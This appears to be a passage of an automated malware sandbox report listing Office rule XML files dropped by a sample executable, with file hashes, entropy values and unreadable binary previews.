Preview:	<?xml..........}yo.......... 4."..._.W!k?...b....-...j..R...k..S..U.G.:...0.y}c...P.......T^<kH..g:<....7.8..#.Vq...".d-&....k;.B..~. J...F0..?3.....o..).sU.../]EX.....ct.].>\|I;Lhu..$..;......{OiG..jn%.B......-s...`.t.9...P}..yV....I.#V.C.m.....<.X@.'....KZ..d..7p@..bf.<..S..\.xIH....X.-&...n>7.+l....a.....E.{AE....?@(<.{Je....#R...2@..'$...p......m"..6t...e.^.%.k.6X.....k.5z...W......^.).....BX7.'.ui....8.9,.K...RO.S.U.M.m........bN..X.bc.0.<>......r.sU'R._.=>P....(_.Fs...6..2..a..Gg."d.2.Q.e.........d..7...E..K..=.l...zQ....K...w..`.}m..2.z....P...i...=&s.;....? ...s....)).9.H.Nw....f.B_.].026e...vdp.V.....V..+#.&rH.T.........10.d.zt0..L..o..#.........3@.........._.S....O......d..{.w..v`\|...YI..o`RE....Sfc.I].~.!..QB.l_..SI.]/.8.l.}.#JQ.+.LsL'..EW......0.-_...Q..3?_lh C.'j..r.(.m)..\.#.+UD..........)":...2n.wHt..y2.t....fUi.....c.E.....'....i.Gl......iS...K/.`.G(.m....1?.~..f.c..a]jT.....v.F`..G...4....@../.....V......y^(.6.<. ..2....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.883297985520573
Encrypted:	false
SSDEEP:	48:ppaOZySHtWJZ/Cv1ZxU3SAyiQAdQH/eXFuED:p8XSNWD/Cv1HUXtds/8FuQ
MD5:	AC2710323051DFEE1EB2996BDBAF603A
SHA1:	270410B6B67410B668D7E10D1CBCE070D7175AA6
SHA-256:	F1FC00C76511BE68DAC2DCC3A57E2D31CF6F5E19DF6E2ED6FC90DCBDF6A3F26E
SHA-512:	F9C774B23FB68114FC4CE6DFC9CF20BF8F55BC2FF94BD9C991BF5EA469550415DF42DEA7D7F90F364AA2189E6711A822EA71C0CE835C2EDC21E65808BCDD2A08
Malicious:	false
Preview:	<?xml(../......!..^+$.I..9...iJ.;z.l..a<.i!.....L..\..L.^'X..I..Z..qg...@....k".h..:?s..<b.3... __{..O3i....v)..u.\|..'.s.C.F.\#.}.x[.... ..'....9D..!.Z.+.Cg...{...X...T.g[...ur.3`..G.2..t............... eri..z{....`^t..-..].K...2_kGdLW.....>....r....z.....<.....]..o..../0.... `+.B.N.....61]hx.Dt^y..L...(..ox..G3.m...~...O.e......."x.....4o...YG&E.EGP.E...B3w.L9..B......-.!.1..M:......xz...:.A..X....</6V.&.7.._Y....I.{....;....#;.C.?......%..6i...IqR..<..qk3J..Yi.h.+6.j1q...2.22Y.C.;...<>.6..Wdx....?..7......4`.....I;..B..G,....K.->n~...;<.h...T.....I.."..4...7...{.0.0........`...h.-..ve&..[....M.#F.v..f:.NX.1...-~....F.Q[.g........r..b......yC........Xc........?.n.q.....9......W.....O...]._.pytF.6.....j[Z.(...?,...N.{#.f...Onx......C......2i^R.,Z.......".=........k...kvB.....~.a.*._89._u..xd.w..8%;...z.....V...p~.<Rh.H....e..J.brq./#h.31.~d.S.~.........\|-N.HF".p]....]...$s's..@...'G..:..@.....q2.....#.ZG....l....c.....l

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.868792809958426
Encrypted:	false
SSDEEP:	48:wpSPm5cs2NVMiXzxDqqGGokOs+xpEzBktsnBqY1F3NXFuED:wpSe5v2N5xeqGGoLp4kYv33VFuQ
MD5:	2EFE512FD717033C47891D2D1792240E
SHA1:	59B69AE99A33D7000A1997A8A4DD8A9D9A14EA53
SHA-256:	59C6710D83271A4B28DCD189A3DD1ED08CE6A0CADCE46F9D7937B2BB439125B8
SHA-512:	0F3E6D74F1FB1479F7AD911124A3E4807FC2500FBA7CB84C5877FB9734D3C011C1D04A40943B5404EA4E1D4F88C9D4EC2E84342E6E294F8AB94D0D5BA52F7A01
Malicious:	false
Preview:	<?xmlMa..mD>.$.F.\|.....x...F.Gk..a...W.....2. f....2..r.O...W.csa..~.29 .1.Y.I. .\...-7:.....{.}.j...qP. .8^RH..H.\|...[..3...!......'.5.O.h.mv..$No..G.1...6).bAl......".n#.. :.V..x.(\..L.._. ....K.N.....{......b.H..P"$0..o...........Q.T..h...J._.<z...:_.'6R-q....}.u...KIvZ`.......qAk,..&.K.o...T..s.].WL.......T.;..v.:.6..........EO+9(;2.#.z....O...Y.D..M..BO......aJ.yu$.^d:.l..J.2W..]hk.. $A<...(..T..%..`..:..3..k...7PN.\|JI......Hl.Z...T..6Pp}<$!iK~...).+.]rg.@q.T7....V....a.mN.\|.Dt>C&)8...0.V..U.......=(..[..k.U..~w<I..{........<..(..4r.!{...v.+f\|:...B=.;..=..k....'..P._.&d.....U'u..}v...d~.q9.....@.ND....u.....).h.,0..aW...85uQ~Lk/.....)"I...+.m...EK..='..d.0a... _^.j.a..rw."5.e=...-:8.VGn.ZRk....Y.LuL.~@...&HJ.J{jb.T.(..@y.a.p..Z.F..zr..G....R. ....."..+..)L..j.....]p..E....."..1.L.....3Rt...bv...U......E.TM....P.m.U8.)._..E.gD.E.9)...nJ..1.8.?...D...bW!.p..B..XD.....vl..7..'fl=a...$i1b.a.....d..:..j^&.X....Y..5.:..0.W.L.~...d..7.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.897119374016112
Encrypted:	false
SSDEEP:	48:YXc1VU2GCzFZCr5PnZN5dQgrwdkCADLtzttMXFuED:+c1q2GCHuN5dWdkd9zTqFuQ
MD5:	578B421C2255D1B8E3AD5C70FEA64AFB
SHA1:	DA58552AB171485961B17B696D5D7CC8408B56F3
SHA-256:	A46BFF48EBCE4B6C6E24DF559045EDF1DC78FAD2752331DD6063936400842D74
SHA-512:	65A326E0027C62142B5F59B3C2807ADFE7AAF7A04C1C7C0127065142E7149098007A923C4870D061BE8969597203524A629CD9AF37B3BBB8813E0B1DACCE00CE
Malicious:	false
Preview:	<?xml......t.$..1..loJ.FU.av..H...B.....)..L.T$..u.B}dq.iq....Y.....=.I..H..vhd{..nb.f.j..2....G..{........0JX...).w.j8..[..j]P(....1..E)0.2M.Y.MjV.u."K.F..[..d._IUW).+...~.....:....4...?.. 6l/).+V..X`x!3A4..yvS...CS...8.........c]X....q..D.U.wsJ...(...<.'......b-...S...E!}.Z3.F.)H.:..M^.!wV/.c...w.H]@+...E..%bu#..?U..q.{.B.'.L.n....K.9.x...;.R..d.!y.8G^Di.C......p=Q..Q......9.E\.......X.,.=..h..]...7...v{..LV.....E...3d.......^Ja..8.rh..!.z.~l.`.%......$Q.6..glV.D..................8....x..7u.H...?..S............=.C...D.{n..?C.i..o....C,....]..t..{.)\..fa u...bR...=7.sn..\|.T[...\|..=o.=zC......#+j...H../~.F!.e.T.4...UQ..M..#,........ &.ve+.U...\|..kB.D..g.XR....Y].:.#....).D.}./..1.W.D(...V.nM-.^K..+..&.....\3....Z....C.T..>..:..Z....a}w..?e1.z..m.."O.\. V...S`YA.$..9..;....G..! .}._..e........ny.a.7.[Jd.7\|.G(W!P..K...^@;..@is..M.]..w.e].....?K_......k....[2..j.?...<.M.B._!U.%....4..{.~..inx.}2{p......rcyn...=Q'nb.....vM..H..K..]Q.MK....E.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.89096215521453
Encrypted:	false
SSDEEP:	48:PycguPMsu+sqNUQAaoYjKs4mLV5dcIXFuED:P93PK+s0FgYjKs/J5tFuQ
MD5:	74E54114C3C6727D72EB75F6E87873E5
SHA1:	0CE03DBF2FB94C7F2A4C7C86953AFEB8B9C9C268
SHA-256:	F1398F084443CE44B3CF3317C2BD77126A816AC548DB46DE4DAE83B056214034
SHA-512:	3F673D9E0A52F93B3C1C0EFD341079AB93391BC11E455C0D34CA8464A24BA6B778110405BA581017AB5F31C7EE5A91E62721FE1685BD41DACF1E5E2EC4AD2C41
Malicious:	false
Preview:	<?xmla.....[ ....[c.....U.F.P.0.ba..e...u...s6!...RE.Jfc..3..of..l. ...>5&.CiJ26...ze:.[. ..CV..D..#c.T.R.:_!.B..."o.[>l...5.?b.....I+....:Mu6.J.C.+_.....y.d..8..1:.\.Fv+.u..e=6.H.S.`.b.i...D.G5.uJ~.-.....x.0..G....l.D.B.LU.OR..<......t..g.z...^..\G......!(>g._H.#...{.m.{j...q.Ma.~Hh.~.pil...z...j)._..]..Sb0....'N.......`.A.@..R.,..A/....MW.ET.A.\|.<0.V~...+....[-........R...e%Ho..B..........aliR\..=-.p0..?.X............=y..\| .>.i1.^}>{...R5....s.T#....F..,9.u..E3z ....".{.9...".6..(oa.1.}...y.>..{wsF=.S.s.........j.HlM.....N....$......x....g=..ah.$.Z..\#.................h..F....T.4......u......._:.K:{s...Q(.x.-1.....f.).j.k0...z.-m....S..t].+=..r.~..n\|.G..l....-.I...X...."G}z.q.S...Um.f....;R .......Q.!.x.d...h._.7.....u....Q.B..$V...$.$.q2....c.v_......d..j.].i..']..z.xb....x.U9:.W..r........nBx.<...f..e..w.T....4i[bhv..6.......N.K..)..eZ.3..;...e.VE.@5..5Zh........Kx(m....N......,.h.&....I.]....xF..y~96Q......l.A.. ...[.J.y..J.c}...);.K.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.889853155408928
Encrypted:	false
SSDEEP:	48:dmyFYdIp2WvlQfN3PQiK65qjOE431beM7IL4vkINhLP9wXFuED:dXYdIpxv6fuvjOZTA4vkINhT9GFuQ
MD5:	19DF173F0C8C23E1D7E66407D2143353
SHA1:	603EE4D4B9BE723DCCCC9BE108BDB31442987657
SHA-256:	96D498D2F981A112471D2850301E1001F919A8C3056BC96DDBD7555FB037694C
SHA-512:	78B3FAE9818CAD9D249DD89B3648BA42E9DB5A49C066677B4D26B360802BCBA2D01BDA4775C43B14209AAAB879CD3BCAE60925C523679FF9FC43D2F9F1948111
Malicious:	false
Preview:	<?xml.LK.2...?.;F.42.zl..".......Z2.K~...V.....M.....X.$.....l.j.K9. #...V..5..I.w]..I..w.=.m{.z......;.vjL.cY&..:..W......?.1.......Y.$%]...\...\|I"....y..,..w..~.....$...'.......7...t...k.nU..#8...tY(....t..$n..Y/~1.r.....w.%b....S.;D..P.w&d>.W.f..nRY..\.$L.......`5..7.@.?.....&....M............a$.S?d.e......Yh}.v...k.....6..s..8?S:,!../...T2...W3G..Q.- .+.?..n=e(g?~..+..'Sp...q.3aU..UN...AB2..J~..A.jA8.:9[$."......b.\|.T!G..Md..k..).,y..S.W7.a..o.d.%..B.I...8..?..'b..E..[.gc..._@.f..=....[!y3..ui.=.{<..\|...C....3.z#v}(..9...g...~......._xk.!...T...........&..mb...q:Qx....')..W.>%.6_y..#...ct..em.=52.N.#...A...5.(PP..._.P..T....^..Y%.l..\|.e..9.t...S.;.d.~..p....7.]W#...-..........A..C.u.........@.m.Cf.....i.so!...n!..-.R...N.$.....A.g...+.....f....=.LZmW..R.......;w..Z.K....ZU.A....E.m...O..V.O..zK.P...4..."j..s.....s..v..<.....N.K...%..;....BC.........JZJ.4..I......V4..Cs".........9,y..`..N.s.r......m....eYa..RJm.Ge?...s.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8635959669801165
Encrypted:	false
SSDEEP:	48:yNMvV/XxCerg2T+DOej4DTB51GkBZsVF5TgMynBZHJ2fxXFuED:yNcV/XdeOFTBGFnsnBZ4fxFuQ
MD5:	DF14416213C6070BF0B54539A828AB4A
SHA1:	05BD612644D304C3377DBC8BCB3CEF9B771CBE14
SHA-256:	DFB58AF9F3B0C1ECC2AAA6E4BE50F5F7CA7020A9B662B68CE5EBC425BCB9A289
SHA-512:	A6837099974DD9C494DBDEB14E13AA56355527A0B659FB8CEE006EF12CF77C77705D90E15D539827C8048A5FDB90E09C65998B3D50321DD3C2276A173C295FE4
Malicious:	false
Preview:	<?xml`<.....[t-[............4.E.<..ww...,...c.$......Dq.e.=.d&.......s.....u....v..!(.....{!..B6#c}...\.R..ROj.....w...A...e.vY....+V_...7..d.{{.\&I....au....>!!.(.6.i ....'G...N7v...N-..Q+a;.Q.!..nKFxI..g.L~../b.Q.w....f3o)...pj....dZ...-....7N.W..800.b.6..).xUL......El...N..=4.m.D..Z....%-M.m.9n,....t.....R.S..~o/'....7r..E.....'..b.,6...R.4.........1...l....d....z.}0....M..%...J...T.7..Y......8..............'.[....U... ..Wz.D......?&M..RaH. j.`..m.mQ..?.....e.a....k.0...E..K..+./v7...$...~..c>1~...y)......D+`n.N..O.}.....&..@......&.%..w...m..`.^I.... .Q./..\|...;...zcG"-.Y?...G.l.M.....Y.d.....^._s...b.r>J..c....n. ,F...<..p.)...../_..,..l}.b..jHX.....Ef.O.<'tyg..[.8Y&P6...>->....UUf.D+A.2.z...B...M..EA....s.T.+...6....V=...xl.@d..&...e.......Y...V.J.9@.....k...6/....=k.d..[...Rk?.a...&.....s.u..T....#W.`.f..T.z...r^.].49]..i..T.];[I..>..d.7.6...hT...+L.....+..b..^.)g..Q.N.f....Q.o..u#rE~'.uY.'U.$.y..f.q.*..)..X..\|....m..7....4$6..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.877037599346466
Encrypted:	false
SSDEEP:	48:5CjHn/S0daYhWLhGjK5VhxsW53P70XFuED:5YaYhWcjKzhP53+FuQ
MD5:	8334127641253DBB0DE77BF7AEABD530
SHA1:	B5A262EB859DA671DFD1B6F9ECC991C252131A9D
SHA-256:	4B716D8ECB00FC2554EA12FD665D0F652F1C76F36D66FAC9F6166151747F7290
SHA-512:	C7F6B62F26EAEFCA5711A2711D7D2D6D59894988985D7DD6A9C5A35D4E1613976BFA413D11CA072310A84C189895B2C8DD3F6375F6FCFD4918F78A9AF4285DC7
Malicious:	false
Preview:	<?xml....p4............j.\|..W.j..-~.i.d...>.$....rK=v..(.9}....Q....3.u.1%[.hTS.u..q.?..mHI....O.......-Uqc.6.......0.....R.X.je..........[.......q..x....."2..C.8.\|z..#.6.yFdI...C...Iz.(Z....b4F:,uy.K.q\|8...(o.E..Y..OM.. <..+.~S.......c8N.,@[:f.0..KI..T.]Tu@ ..:m.......\8=..V=... .....x=......EI..M.VYy".}FEA.e..:Ei.E.}~.@-N.II.....H.qp.....ul....o..'=........B.......F...O...D...,.,....u.f... .U...d.7.g..(.e..M....Z.f.U...X..3..4B ...........Z........E,.....u.u..R.6.w.QO..p.H...X....1?E\|...h.<B5..+..(...WA.N>.Y... F.(.de...`....E}o..=\|.....Z,.\%\.\|..g.t..y.N.>....V<.Vx.8..M..N...,.3cQ.O4ZBs.....Db..#...22..{.....7.cCV.JGe.$^...Ms<..e.C>a'...L.{.T....Y._V.Z.w..D.v..Ep.1pa....2..Dr..[9..=U..u8`.a..1.H...~nO..w.....<=".#....?oS........G.7....U.......S.y...FL...V.,aag.....q...'{...Af\..gCh......:#.X..AcZ....j.C.a.!..\|.o...x.!w.....K>..,D.g.s.....{.....u.}.=.M...@.q...=.0.@.~f?F.3.h.0..L[.._..>v.3..?D.YI7;.+.=..k...."....f....M.z2...a..m.2..l...._...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700650v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.888487856120632
Encrypted:	false
SSDEEP:	48:eAkbFdfItJ3G56W/yug64tDwoz+uQyEmro+tjVvYoWtr/XFuED:eAkbFdOWj/dgt/QBmroeFY1/FuQ
MD5:	948F339144E1C395BD3BA253015CAFCE
SHA1:	00E9FB5E997F95B71808F106E05507E4AECEAB49
SHA-256:	2821938465EB83E91FC17BA5C733D72C744FB76517B7D3FB5D4A9BF93EDDBD11
SHA-512:	38EB180DADA7EC9886E7F63995F5D1E27D7B13589840D19389DCE87FD3CC156FC8FF37D277D9B105F4F9FC3935E792F78DE42007CB8E3739315AF7A544FE8A8D
Malicious:	false
Preview:	<?xmlxn.....QE.....9F.......a.....R(.}q.3Y...6...E..8.....=o,:_.....H.j...h...........-..7..2.m..L"[V.%.(..O...+.E?..?(4[..y.5..@..x^..[..!KC.J..Krv..@..h...%.P....)l...DYC.j...=.}#Srd.= 2.h@.eG....M.-y.......[%.<........x.>>.&.."y:M.q.q....(3.(..?..,!'...)W...W.......+.......yQ...K7....]q#0"$...........a.bL$....]A..h.....o.F#.L...J.........T..d...f.<.....X......4.@wl...\..f....5g.\|`..S.^.g..~.M.ls...t.".P.^.yp.$.{5....s.....Z.5...%.'\^..i.@....G.s....6.T...=...].`.3...6.9..fO.\G}.#.........rPS>..r.\|.u......h.....7....x....'&<yR9.uEj]..\U.<.....%.../[}..hM..dm.r../\|....l...bY......fOs...5.:.....d.<L..&!........+{.{q.K....5....1.iv..D.I<.....1?e...!.bn....qA.......y...c....D..M.G....'.. ..>T...8.t...2.p.+..Y..3.y,.<Z.....%m.....}.Mn..t...A...g.axa.S..v..i.]&..{.!.*...>..'!.....m.. .(B.>......{n..u.....X..Zy.+bI.;.QNc...:T....c.LUmu.f...0.S.].t....9...c..J.0...nv7..V.R.5.N..%..zw...\.f.4X....Y$...!.+.+.\)l....../...Y.0_..6.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700651v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.877051444849064
Encrypted:	false
SSDEEP:	48:zlc6nKjQi4exeMwRgWHgpZFgGB5Id6OnuiikXFuED:66KcNSPwRgWHsAGaiyFuQ
MD5:	3E47A33B85FDAF73EB038115C6597359
SHA1:	FB9915294776FF3661AF6285544B3C807FF108D6
SHA-256:	9286B8FC32A008B6E65DBB2E4C69B323E7F198EE05EEF83979EB9C534D029443
SHA-512:	D96CB066D3F34CE76959B7323CECC6A21733E791FFA34CD6981BB03CC8C51DD24586183E2B43DC65D29950B4988CA0F6FB77B59FAAD2607A75DD4A80F24DDB05
Malicious:	false
Preview:	<?xmlL..S\..J.Ud(..u...aN.#..FU.nR25..]F.....4..)(........M.....:h....0m}0.9\{R...Q.B.w.5.JD.4.....M...b..TI8.a..e.e..y.2.D.P.w....0.."7.....@.X...@VL.!.'.EK......T.c...M.....r......l....+%.....-..l.4...../.5.^...8/.....g..Tk:..5....iP...%MB.".Mp..K...K......ri.wfT.L..m d...99.dt...;"Q..E.........dq.....G.N......\|H..3..4w...p.n........J.!....2.wHJ.0..Z9.\W;.H..F1Q.....\.A.....['wP.d...vb...k.<.vV..]x.:B..m.S..'..o^.....9F0....-.8...2;....^.[..w..2=[......e...^iXo.k.".Mfb.`k[.....$X.4hj.F...S.....<......J(. ......$...WQ..N..ZM..~.}.+....a.I.+..=.O.Y.&.PV.....Z..)......$mH..-:7..R.^b...B.S...q.&n.3..$..qgQ\|j/.....k.#](S.'(...I.\|.V..H......!.g..f.}.4.....h.....1F..-.O....=.O..E..K...be...s..v.M..^...}..V2...Q.nuP..d*..\|..E~..\|..........#V...69.0z..xI!..E]..k0@k~..L...r......mz.). .'...9.B..F..\...$>.t.l.r.g.....4.u.........J.-=......O.e...iv.....UH....X..i9.8C...;.......TD.......J....S=<I./...W...f.........v.J...L.7K.@.{..n!

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.874671347133645
Encrypted:	false
SSDEEP:	48:KnbuwY56CeMLRpr5koFzjGRV+oScFcj6bbMB81C5XFuED:2KwRtopXz6RV+oSi/Hy816FuQ
MD5:	0AF1F90B918514BDA9F207049C1DD6EF
SHA1:	A68CFF795EB2E8C415D6CF62E922297A73D59AFF
SHA-256:	A6CB74B25CC482405B6CB911905C9CF317A8BB67EE0C0A1CCFBDC4102492C3A0
SHA-512:	7AC5D58F84B5F3BADE3C750F4D5F720E1225EB905FCDA3E8F22B35F4FEE2D7E78DE928651341AAC981FDC17DABD8129D23837793999717F5DD83D6580C367631
Malicious:	false
Preview:	<?xml.........5...4O...K....n.C.uwn....K<..;..%0.}.......9}.&.."v...T4.-B.....W..K..o.......0$I.1$.....i....b..?q..5.....h.\|.pV...z.....,.vLU*.8.....;>.IQG.i3..;.^...?...@.....Il.H.....=cY.....\X1z.&?..C..)..a.M.;.....5.M......u....D..5f....T.8:ik.. S...UX..D..A4t..aE.......u.L.8K....0.....{k...2...~.qv\|>F..Rb9.m.>....v.F..Z/^..R]C.n..a.......\|K.g....r'.4...J.u...N.{.Yeq..Y.'./..~+.k...Q.....se...>b6.cW&..-...c#...yg.H...XH.{z.".$6.4.'_....V..........R4.....@E..8. .....$!..o......'.Vk..I.2.}.#.N....L..#..CK....V.:..+x...<...<...caC...IPiQEY....u...x.........T)8.Q.. .h.X....Y..H..O..........'.......,$......C.d.. ..Z)..2.....c.%.......j.:.Y...G'{.M+..Rr4..e..q.)......A..2.h.Z..-...Y_..A .....4...\p...8P+..l.{v..g....8.D6K..p.....q:~._j...d?....6Z@..pvK...-vW.....Q..'c@g%.;.H..{VFs.c....kv..G..D...^.>-..6.,....._.%&..u..s1......\|..j.q...KW;....Q...".x..!_Z.}e.......<.mb.}.H....Vk.....G.Q.....j..L.wNL....U.HY....K.....K..I...y.i.rH.....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.892203375454652
Encrypted:	false
SSDEEP:	48:ihdSTAO8sNBr2TlqvQLaAHZDKQ7mV+LXFuED:jTAyHqpYQdZDKVeFuQ
MD5:	34AA77E21477FE0B149E4F1C76277463
SHA1:	8A9167F7FE53D82CA0B2F6654A64366557857020
SHA-256:	885099776397D48A865E4EA3A10952433F8E19FEE039127D5DD543DD46594CA6
SHA-512:	70407AE32E3845BEF9765ACB3A7D891E0FD48FDB39A2FE23C83F25E125A2582929710D1AFB9682D5DAEB68F358450C6296D9084427CEED1A7490BB7D838B744F
Malicious:	false
Preview:	<?xml..{3..L.o.K.S.0.p.2T.I.z....s\c..1;.;H8...N..o.i.[...y..4.j.Lm......<...}..K.(..n..4.J..'.I.].....H..2..c..}...`.%............@;.&...b.p....d6~.8T..j....<.......}\m/..+..m#9]..\|.,.....r~..i.p..Y...M/......D..b......)ap.c.Whv.R)..'...}..3^......0(.....HO.zd.\|....Iu.....7...v.P....N..2.2N../.B.H.w..5.. ....2.i.rV.Pg.....w..........,./.q@...2Z....F(...A....g+@...\o..4....x.k.75#.r1.UV.{M..l..:....F.".zF.FB.....U..W}.....v...G..EO.EM.....%J......u.Y_9...RFr..e.&.......SG...D...<O5(D.a...Q.z..........&.PpZ...t..F&c .:....8............Da.).B.b..9Dt.e..b~z... ...... .Q.oJ....q9.R9..F.r.vRW.9O...{...]......6Hn.........!.Pi.)M.~\|..5..t........B..[.y.w..~h.3..\....j.n.....U...Z...7.ON=.l?.9m,..>.......U._.b....g.......nn..so....*HD....Ew..3B.q...=ITE.zfy..3..5.....%N.....\|.1...Z...v'}r>n...u:tuJ.X..^?... ...&....B~...9xw.1?...1Q{'.....x(...8...F.\7.\:..a...u..q.cP..?uI\.....<e.c.-.XQ.R..d"w. n1...;A.I...eg.:....g....M....Pj..\...iQ..\|_....I..i.,.%.]Q

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.879655790570727
Encrypted:	false
SSDEEP:	48:2wMa2gcjDtxpcG7mCdYi/8VjYwAj/GFa+yXFuED:2wMalwLpcEf/8FYwAjJ9FuQ
MD5:	CD0419C2430A391C9AD2988C03EA2B06
SHA1:	B518AD36CB59B373A43BA3B981F5B6DD4A6C17AE
SHA-256:	75E5869771EDA6C46D28C34FA9DEFE4411C343A26E417FAFE96C9064F369FAA2
SHA-512:	2B351C6D2FEB7A7B7842360446B8204E02E4F9933AEB0345FA94B0CA440B9BF265F73D717A7908DA9BFCB63CF595F4908B49FB6289ECF8102A488AD9CAF45CAE
Malicious:	false
Preview:	<?xml..~h.u=U@'...(Gf..J(8M......qG0..uD9..#./................L.)...f.H........?....6,.....J.p...-..B.~.-...C.../..g-.Se..._HrS+f~.[............C......q..7Ve..B.w...vV.t9.w.S?.....+%...T~c...+G5.i...#[..H3.q>`...+....R.U..R9....6.c.\v z.>.x.....).....#.....C.j...4....^k8..Z.....Y.#t.C:.p(I.o.....DdA....6..F..,.^.e.mw....t..k.1{.R..K...n.....3..N../.Y...,...(...E..w..V5#ZW....]~...+..8._.......b.....x..=oB."L@d..N..L....3`.\|..d.....<...,........5_...j.i=,44w}..&....9ov...9...y....f....Vo.#s..0=.>p..(`F......Wu.7..&.....wv.....B}m.K...`g...v.7N..v..Kc....A..._.Z1..b....Z'u.bl...\.G...:...j..}\|.......'..m..uw.y...%.\@.t.pt..~3.....n.D..#.J....k_...4...\|Q..7..d.......Q.....@R.,....)Zps.]=.0t2.$\}.....ii...Q$&...G3yo+@..l}.V.%..:..\|:.g..K..[..q.....I.....o]F.}........i......c.}...t.Ly$J.wId........=....%.mk..4.j.a.........k.M..x.\.P4......`..MB.C..u<......p.MG.\.d@.t...C..V..4.WL...+....D.J.#..S9....w..L.C"...NF..z......5Z

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.883450727514178
Encrypted:	false
SSDEEP:	48:g5WFHMJf93XOmgbxT3LVyUM2ZoVFmzXFuED:tFHof+jhyUMYoGFuQ
MD5:	48500256692D2EB8DD0B95DE5AED0655
SHA1:	AA5177BED6A666699E7851580C75B97974683DC9
SHA-256:	2B034C5FB53F0E0FB06AB58F575F45ADFB4CBF93661F672D9A1B99EDC198693E
SHA-512:	60A73422A706E55924ADB99D3C1C52D77DDC20731E406E35B46544F6DC525367B3B44A59FD370112C37B7A10E45570885A657EA9CF44FF4762F6846C3A94ED12
Malicious:	false
Preview:	<?xml\....-:..5..k....x?.I.R.Z......i!..d.......8z4..p.......S...}.00.U.N.....j..m......\.M/.)..DL>>...V..=.u.T.7.c.g..I.Q.+...=...../0{...:(..(r.._..1M./..._..W....S.^....p0..%...c.&.o..{!..+F.?..^...u3?.b\|.^5m...v"Dj..%.>.H....].>...0.fC..... n..\...2Z....^9..08.]..3...H @]M...s/.~........'..H.v.V...[o.!...Z6...q0,....y...5)..._.P.yGk"zw..'JD.<...x....B..K.F...p.....m..i0.%s.......`.^A.Q.8..Y....J'.1....u[..\|....u..E[.~.}...r..:....x...C.+...HogmD}...4m<..?....CC....I.%.n.&=....=.....E.O..=..........\.7b.....Cg..^.D]"....q..!.LH...r...^.N.s...q:Y.h.$.......8..-..j..U..X...\ ..k...Bh...86.)....a.V.......A....u.`).........p...Z.a.9.+.h.B.....@.......0..^.5t.,0h....\|[.{...j=.._.}..p9.Q..#..,.W..Z.?...!x.y\|G..3._..4....y...^...pd.f../.......y#.D...]Z..iR.@4A...".5..N..ku........\G...e.......:l...;\.>...[...N3...>.T..,:.f..j.!...0...>.(...w..,.Bn....qKnV.y....FP...i...]..?.......6.]'L...ic.+..N.Sq@...B..v.d..mRA.G..Jj...N.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.886499153571696
Encrypted:	false
SSDEEP:	48:jNbFuUF8kBULJfV4s6lTT10YUK0w2VJk41ebXFuED:58kSLZV4LBTUKh2ozFuQ
MD5:	31A3B051A20A8EC83C36DBA1EB4C3276
SHA1:	6966E693347824C1304885A8716050395C562866
SHA-256:	F6760FE6F83AE6AA74AB924C76FDE84F168622706C567BA75F3DA0B0FAB99F7D
SHA-512:	D1AFE718A0327C6C52648D622ABE2DCFB6B8F75FDB741A2B1F65CEC80A23ED0407D4382B2A875C6FD4AE19D0E9309B21BF16A03D3EC80B5935842C9E77CB4CE3
Malicious:	false
